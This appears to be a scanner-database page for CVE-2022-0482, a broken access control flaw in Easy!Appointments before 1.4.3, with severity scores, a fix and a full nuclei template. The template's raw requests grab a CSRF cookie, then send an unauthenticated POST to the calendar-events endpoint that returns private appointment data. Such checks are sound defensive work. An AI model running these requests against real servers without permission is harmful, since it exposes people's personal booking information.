Easy!Appointments <1.4.3 - Broken Access Control

criticalseverity

9.1CVSS score

43.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Easy!Appointments prior to 1.4.3 allows exposure of Private Personal Information to an unauthorized actor via the GitHub repository alextselegidis/easyappointments.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive data or perform unauthorized actions.

Fix

Upgrade Easy!Appointments to version 1.4.4 or above to fix the Broken Access Control vulnerability.

How to confirm it

Send: GET / ; POST /index.php/backend_api/ajax_get_calendar_events
Positive when: contains "\"appointments\":" and "\"unavailability_events\":" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0482 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0482

info:
  name: Easy!Appointments <1.4.3 - Broken Access Control
  author: francescocarlucci,opencirt
  severity: critical
  description: |
    Easy!Appointments prior to 1.4.3 allows exposure of Private Personal Information to an unauthorized actor via the GitHub repository alextselegidis/easyappointments.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive data or perform unauthorized actions.
  remediation: |
    Upgrade Easy!Appointments to version 1.4.4 or above to fix the Broken Access Control vulnerability.
  reference:
    - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
    - https://github.com/alextselegidis/easyappointments
    - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
    - https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-0482
    cwe-id: CWE-359,CWE-863
    epss-score: 0.43746
    epss-percentile: 0.98753
    cpe: cpe:2.3:a:easyappointments:easyappointments:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: easyappointments
    product: easyappointments
    framework: wordpress
  tags: cve,cve2022,easyappointments,huntr,wordpress,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        csrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"appointments":'
          - '"unavailability_events":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        name: csrf_token
        internal: true
        kval:
          - "csrfCookie"
        part: header

References

Use this check only on systems you are authorised to test. Where the data comes from